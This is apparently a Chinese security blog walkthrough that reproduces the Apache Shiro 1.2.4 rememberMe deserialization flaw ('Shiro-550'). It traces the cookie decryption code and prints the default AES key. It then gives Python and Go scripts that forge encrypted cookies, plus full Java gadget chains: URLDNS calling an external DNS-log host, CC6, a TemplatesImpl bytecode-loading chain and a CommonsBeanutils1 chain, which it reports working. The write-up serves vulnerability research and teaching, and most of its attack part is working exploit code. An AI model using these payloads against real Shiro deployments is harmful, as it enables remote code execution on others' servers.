环境配置:
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
在samples目录下的web目录,才是我们需要复现的环境。
将jstl
版本改成1.2

shiro版本:1.2.4
复现:
访问页面抓包:
localhost:8081/login.jsp后点击记住我:
返回数据包:

之后我们的后端就根据这个cookie去获取数据,之后我们的每次请求都会带上这个cookie。
这个cookie如何生成,并且如何利用就是shiro550的利用点。
cookie解密:
cookie的生成都在CookieRememberMeManager
rememberSerializedIdentity
一看就是传入subject授权对象,然后进行进行序列化。

找到了一个get序列化值:

可以查看这个getRememberedSerializedIdentity
方法哪里有调用,在AbstractRememberMeManager
中调用了,如图所示:

可以知道获取到这个remeber序列化的标识后传给了convertBytesToPrincipals
,这个方法一看就是对结果进行授权的,跟进查看:

首先对数据进行了decrypt
解密,然后调用了反序列化。
查看解密函数:

这里解密需要解密的key,查看getDecryptionCipherKey
函数:

查看decryptionCipherKey
这个byte数组哪里赋值的,一直追踪发现是在抽象类中定义的全局变量:

然后返回convertBytesToPrincipals
函数,最终调用了原生的反序列化:

cookie加密:
在JcaCipherService.java
的encrypt
方法。
主要是使用了aes加密算法。
这里就不贴了,我们根据默认key就可以去构造对应的恶意数据。
序列化:
URLDNS链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from Crypto.Cipher import AES import uuid import base64 from random import Random
def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext
if __name__ == "__main__": data = get_file_data("D:\Language\Java\java_code\Security\s.bin") print(aes_enc(data))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package main
import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "io/ioutil" "log" )
func getFileData(filename string) []byte { data, err := ioutil.ReadFile(filename) if err != nil { log.Fatalf("Failed to read file: %v", err) } return data }
func pad(src []byte) []byte { blockSize := aes.BlockSize padding := blockSize - len(src)%blockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) return append(src, padtext...) }
func encryptAES(data []byte) []byte { key, err := base64.StdEncoding.DecodeString("kPH+bIxk5D2deZiIxcaaaA==") if err != nil { log.Fatalf("Failed to decode key: %v", err) }
block, err := aes.NewCipher(key) if err != nil { log.Fatalf("Failed to create cipher block: %v", err) }
paddedData := pad(data)
ciphertext := make([]byte, aes.BlockSize+len(paddedData)) iv := ciphertext[:aes.BlockSize] if _, err := rand.Read(iv); err != nil { log.Fatalf("Failed to generate IV: %v", err) }
mode := cipher.NewCBCEncrypter(block, iv) mode.CryptBlocks(ciphertext[aes.BlockSize:], paddedData)
return ciphertext }
func main() { data := getFileData("D:/Language/Java/java_code/Security/s.bin") encryptedData := encryptAES(data) encodedData := base64.StdEncoding.EncodeToString(encryptedData) log.Println(encodedData) }
|
java中的urldns链代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public static void main(String[] args) throws Exception { HashMap<URL, Object> map = new HashMap<>(); URL url = new URL("http://etcymwhewz.dgrh3.cn"); Field hashCodeFiled = url.getClass().getDeclaredField("hashCode"); hashCodeFiled.setAccessible(true); hashCodeFiled.set(url, 123456);
map.put(url, "shabi"); hashCodeFiled.set(url, -1);
SerializeUtil.serialize(map); }
|
之后执行加密即可:
这里需要删除JSESSION
才可以,因为这个是没有rememberMe,有这个字段也会认为当前用户是保持登陆状态。

看到deleteMe即可,查看dns:

CC3.2.1版本:
导入依赖:

如何我们直接使用Common-Collections3.2.1的第六条链路cc6的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer factory = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("hello"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expHashMap = new HashMap<>(); expHashMap.put(tiedMapEntry, "sdfdsf");
map.remove("key");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,factory);
SerializeUtil.unSerialize(); }
|
发现打不进去找不到Transformer
数组。

我们看一下shiro550中的deserialize
方法是如何反序列化的,其实它是调用了ClassResolvingObjectInputStream
的readObject
方法。

查看这个类,只定义了两个方法:

其中重写了resolveClass
。这里说明以下,调用readObejct
会先调用resolveClass
方法,如果是重写了则会调用重写的方法。
然后跟进调用了这个工具类的forName
方法。

查看注释可以看到这个函数主要是作用是loadClass
,首先查询当前线程是否能加载该类,如果不能的话则调用system/application
的加载器,如果在没有的话则直接抛出异常。
查看原生的ObjectInputStream
的resolveClass
方法:

所以说shiro中的readObejct
方法是不能读取数组类,而原生的是可以的。
因此我们需要构造一个没有数组的调用链。
因此我们不用cc1了,因为这个是一定要有Transformer去控制我们传入的参数执行Runtime
代码,我们可以尝试使用cc3,因为cc6调用的是一个map的key的getVaule
方法。最终我们不需要Runtime
加载恶意指令了,而是调用Templates
加载字节码。
这里也可以调用cc4。

所以说后半段都是调用TemplatesImpl
类。
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("hello"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expHashMap = new HashMap<>(); expHashMap.put(tiedMapEntry, "sdfdsf");
map.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, invokerTransformer);
SerializeUtil.serialize(expHashMap); }
public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception { Field declaredField = templates.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(templates, value); }
|
主要逻辑是调用了put方法,然后会调用tiedMapEntry
的hash方法,最终会调用getVaule
方法。
getVaule
方法中会调用get
方法。由于我们传入的TiedMapEntry
的key是LazyMap
,TiedMapEntry
的getVaule
会调用LazyMap
的get
方法。
LazyMap
中的factory
是我们传入的InvokerTransformer
,因此会调用对应的transform
方法,该形参key
是TemplatesImpl
。

因此最终会调用到InvokerTransformer
的transform
方法,这个方法很熟悉了,就是我们需要调用的TemplatesImple
的newTransformer
。这个方法最终会调用到TemplatesImple
的defineClass
方法。从而造成了加载恶意class。

调用流程如图所示:

CB1 原生链:
CB链不用我多说了,PropertyUtils.getProperty会反射调用对应的get方法,和fastjson一样。然后我们需要找的哪个类调用了getProperty
。
在java中的原生类消息队列PriorityQueue
的compare会调用getProperty
方法。
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templates); queue.add(1);
Class<? extends PriorityQueue> queueClass = queue.getClass(); Field sizeFiled = queueClass.getDeclaredField("size"); sizeFiled.setAccessible(true); sizeFiled.set(queue,2);
Field comparatorFiled = queueClass.getDeclaredField("comparator"); comparatorFiled.setAccessible(true); comparatorFiled.set(queue,beanComparator);
SerializeUtil.serialize(queue); SerializeUtil.unSerialize(); }
public static void setFiled(Object object, String filedName, Object value) throws Exception { Field declaredField = object.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(object, value); }
|
传参后发送,发现报错,如下:

原因:
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
那我们就修改版本,和shiro一样的版本,将版本修改为1.8.3
。
修改后我再打!发现又报错了:

这段的意思是,不能加载cc依赖中的ComparableComparator
,因为cb在设计之初就依赖cc链。
可以看到BeanComparator
的构造函数,传入了一个cc链的ComparableComparator
。

那么我们不要这个依赖cc链的构造函数,换成其他的就行了。
查看另一个构造函数,我们可以传入jdk原生的比较器,或者其他比较器就可以了。

以上的类都可以考虑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def read_file(file_path): with open(file_path, 'r', encoding='utf8') as file: content = file.readlines() return set(content)
file1_path = 'compart.txt' file2_path = 'serializable.txt'
file1_content = read_file(file1_path) file2_content = read_file(file2_path)
intersection = file1_content.intersection(file2_content)
print("文件1和文件2的交集:") for item in intersection: print(item.strip())
|

就用第一个了:

修改poc,new一个AttrCompare
的比较器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class")); setFiled(templates, "_name", "Calc"); setFiled(templates, "_bytecodes", new byte[][]{bytes}); setFiled(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templates); queue.add(1);
Class<? extends PriorityQueue> queueClass = queue.getClass(); Field sizeFiled = queueClass.getDeclaredField("size"); sizeFiled.setAccessible(true); sizeFiled.set(queue,2);
Field comparatorFiled = queueClass.getDeclaredField("comparator"); comparatorFiled.setAccessible(true); comparatorFiled.set(queue,beanComparator);
SerializeUtil.serialize(queue); SerializeUtil.unSerialize(); }
public static void setFiled(Object object, String filedName, Object value) throws Exception { Field declaredField = object.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(object, value); }
|
本地测试可以弹出计算器,试试在shiro中,成功回显。

坑点:
这里使用插件可以查看到存在cc依赖,如图所示:

但是在maven中test不会被编译进去的。这里可以打cb:
